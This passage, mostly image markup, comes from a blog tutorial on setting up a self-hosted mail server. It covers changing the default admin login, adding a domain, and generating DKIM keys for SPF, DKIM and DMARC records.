data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/02eaee5a-9786-4334-b387-3a6a842bdcb0_988x478.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:478,&quot;width&quot;:988,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:54417,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!dqk3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F02eaee5a-9786-4334-b387-3a6a842bdcb0_988x478.png 424w, https://substackcdn.com/image/fetch/$s_!dqk3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F02eaee5a-9786-4334-b387-3a6a842bdcb0_988x478.png 848w, https://substackcdn.com/image/fetch/$s_!dqk3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F02eaee5a-9786-4334-b387-3a6a842bdcb0_988x478.png 1272w, https://substackcdn.com/image/fetch/$s_!dqk3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F02eaee5a-9786-4334-b387-3a6a842bdcb0_988x478.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1><strong>Setting Up Your First Mailbox and Domain</strong></h1><p>The default credentials are <code>admin</code> and <code>moohoo</code>. First thing to do is login and change them, and potentially setup user accounts and/or 2FA. Once that&#8217;s done you can go add any domains you&#8217;ll be sending email with by going to <em>Configuration &gt; Mail Setup</em>. There are 2 <em>Configuration</em> drop-downs with different options, so this can be a little confusing at first.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!H-0D!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7f446aa-a7ea-4b63-b204-1ae6ceb7b00f_1422x272.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!H-0D!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7f446aa-a7ea-4b63-b204-1ae6ceb7b00f_1422x272.png 424w, https://substackcdn.com/image/fetch/$s_!H-0D!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7f446aa-a7ea-4b63-b204-1ae6ceb7b00f_1422x272.png 848w, https://substackcdn.com/image/fetch/$s_!H-0D!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7f446aa-a7ea-4b63-b204-1ae6ceb7b00f_1422x272.png 1272w, https://substackcdn.com/image/fetch/$s_!H-0D!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7f446aa-a7ea-4b63-b204-1ae6ceb7b00f_1422x272.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!H-0D!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7f446aa-a7ea-4b63-b204-1ae6ceb7b00f_1422x272.png" width="1422" height="272" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/a7f446aa-a7ea-4b63-b204-1ae6ceb7b00f_1422x272.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:272,&quot;width&quot;:1422,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:42649,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!H-0D!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7f446aa-a7ea-4b63-b204-1ae6ceb7b00f_1422x272.png 424w, https://substackcdn.com/image/fetch/$s_!H-0D!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7f446aa-a7ea-4b63-b204-1ae6ceb7b00f_1422x272.png 848w, https://substackcdn.com/image/fetch/$s_!H-0D!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7f446aa-a7ea-4b63-b204-1ae6ceb7b00f_1422x272.png 1272w, https://substackcdn.com/image/fetch/$s_!H-0D!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7f446aa-a7ea-4b63-b204-1ae6ceb7b00f_1422x272.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>It should drop you on the <em>Domains</em> tab where you can click <em>Add a domain</em>. Once you&#8217;ve typed your domain name scroll down and make sure to select <em>Add domain and restart SOGo</em>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!YGkD!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F54a81628-9e82-48b4-a988-5a8daaf8c13a_1415x394.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!YGkD!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F54a81628-9e82-48b4-a988-5a8daaf8c13a_1415x394.png 424w, https://substackcdn.com/image/fetch/$s_!YGkD!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F54a81628-9e82-48b4-a988-5a8daaf8c13a_1415x394.png 848w, https://substackcdn.com/image/fetch/$s_!YGkD!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F54a81628-9e82-48b4-a988-5a8daaf8c13a_1415x394.png 1272w, https://substackcdn.com/image/fetch/$s_!YGkD!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F54a81628-9e82-48b4-a988-5a8daaf8c13a_1415x394.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!YGkD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F54a81628-9e82-48b4-a988-5a8daaf8c13a_1415x394.png" width="1415" height="394" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/54a81628-9e82-48b4-a988-5a8daaf8c13a_1415x394.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:394,&quot;width&quot;:1415,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:61442,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!YGkD!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F54a81628-9e82-48b4-a988-5a8daaf8c13a_1415x394.png 424w, https://substackcdn.com/image/fetch/$s_!YGkD!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F54a81628-9e82-48b4-a988-5a8daaf8c13a_1415x394.png 848w, https://substackcdn.com/image/fetch/$s_!YGkD!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F54a81628-9e82-48b4-a988-5a8daaf8c13a_1415x394.png 1272w, https://substackcdn.com/image/fetch/$s_!YGkD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F54a81628-9e82-48b4-a988-5a8daaf8c13a_1415x394.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>With a domain added, it&#8217;s time to generate your DKIM key and get DMARC/DKIM/SPF records prepped. Get back to the configuaration page you started on by going to <em>Configuration &gt; Configuration &amp; Details</em>.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!M19i!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F3a943891-1c88-4771-a32b-a98617156cb7_2838x424.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!M19i!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F3a943891-1c88-4771-a32b-a98617156cb7_2838x424.png 424w, https://substackcdn.com/image/fetch/$s_!M19i!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F3a943891-1c88-4771-a32b-a98617156cb7_2838x424.png 848w, https://substackcdn.com/image/fetch/$s_!M19i!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F3a943891-1c88-4771-a32b-a98617156cb7_2838x424.png 1272w, https://substackcdn.com/image/fetch/$s_!M19i!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F3a943891-1c88-4771-a32b-a98617156cb7_2838x424.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!M19i!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F3a943891-1c88-4771-a32b-a98617156cb7_2838x424.png" width="1456" height="218" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/3a943891-1c88-4771-a32b-a98617156cb7_2838x424.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:218,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:95649,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!M19i!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F3a943891-1c88-4771-a32b-a98617156cb7_2838x424.png 424w, https://substackcdn.com/image/fetch/$s_!M19i!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F3a943891-1c88-4771-a32b-a98617156cb7_2838x424.png 848w, https://substackcdn.com/image/fetch/$s_!M19i!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F3a943891-1c88-4771-a32b-a98617156cb7_2838x424.png 1272w, https://substackcdn.com/image/fetch/$s_!M19i!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F3a943891-1c88-4771-a32b-a98617156cb7_2838x424.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Then the other configuration drop-down, <em>Configuration &gt; ARC/DKIM keys</em>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!n9Ij!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F9bee0ec1-11c3-4b4b-93cd-9673aca70a1d_981x338.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!n9Ij!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F9bee0ec1-11c3-4b4b-93cd-9673aca70a1d_981x338.png 424w, https://substackcdn.com/image/fetch/$s_!n9Ij!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F9bee0ec1-11c3-4b4b-93cd-9673aca70a1d_981x338.png 848w, https://substackcdn.com/image/fetch/$s_!n9Ij!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F9bee0ec1-11c3-4b4b-93cd-9673aca70a1d_981x338.png 1272w, https://substackcdn.com/image/fetch/$s_!n9Ij!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F9bee0ec1-11c3-4b4b-93cd-9673aca70a1d_981x338.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!n9Ij!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F9bee0ec1-11c3-4b4b-93cd-9673aca70a1d_981x338.png" width="981" height="338" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/9bee0ec1-11c3-4b4b-93cd-9673aca70a1d_981x338.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:338,&quot;width&quot;:981,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:43793,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!n9Ij!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F9bee0ec1-11c3-4b4b-93cd-9673aca70a1d_981x338.png 424w, https://substackcdn.com/image/fetch/$s_!n9Ij!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F9bee0ec1-11c3-4b4b-93cd-9673aca70a1d_981x338.png 848w, https://substackcdn.com/image/fetch/$s_!n9Ij!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F9bee0ec1-11c3-4b4b-93cd-9673aca70a1d_981x338.png 1272w, https://substackcdn.com/image/fetch/$s_!n9Ij!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F9bee0ec1-11c3-4b4b-93cd-9673aca70a1d_981x338.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Your newly added domain may already have a DKIM key added here, as mine did:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wgY3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2f3bb9-c5d4-4c22-a4cd-644e77b864a0_1116x252.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wgY3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2f3bb9-c5d4-4c22-a4cd-644e77b864a0_1116x252.png 424w, https://substackcdn.com/image/fetch/$s_!wgY3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2f3bb9-c5d4-4c22-a4cd-644e77b864a0_1116x252.png 848w, https://substackcdn.com/image/fetch/$s_!wgY3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2f3bb9-c5d4-4c22-a4cd-644e77b864a0_1116x252.png 1272w, https://substackcdn.com/image/fetch/$s_!wgY3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2f3bb9-c5d4-4c22-a4cd-644e77b864a0_1116x252.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wgY3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2f3bb9-c5d4-4c22-a4cd-644e77b864a0_1116x252.png" width="1116" height="252" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/ce2f3bb9-c5d4-4c22-a4cd-644e77b864a0_1116x252.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:252,&quot;width&quot;:1116,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:24066,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wgY3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2f3bb9-c5d4-4c22-a4cd-644e77b864a0_1116x252.png 424w, https://substackcdn.com/image/fetch/$s_!wgY3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2f3bb9-c5d4-4c22-a4cd-644e77b864a0_1116x252.png 848w, https://substackcdn.com/image/fetch/$s_!wgY3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2f3bb9-c5d4-4c22-a4cd-644e77b864a0_1116x252.png 1272w, https://substackcdn.com/image/fetch/$s_!wgY3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2f3bb9-c5d4-4c22-a4cd-644e77b864a0_1116x252.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>If not, add one by typing the domain, selector and choosing a key length, then clicking add:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Nyx_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F909dcd63-8630-43c4-8cd0-52d58c1c6de4_1118x309.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Nyx_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F909dcd63-8630-43c4-8cd0-52d58c1c6de4_1118x309.png 424w, https://substackcdn.com/image/fetch/$s_!Nyx_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F909dcd63-8630-43c4-8cd0-52d58c1c6de4_1118x309.png 848w, https://substackcdn.com/image/fetch/$s_!Nyx_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F909dcd63-8630-43c4-8cd0-52d58c1c6de4_1118x309.png 1272w, 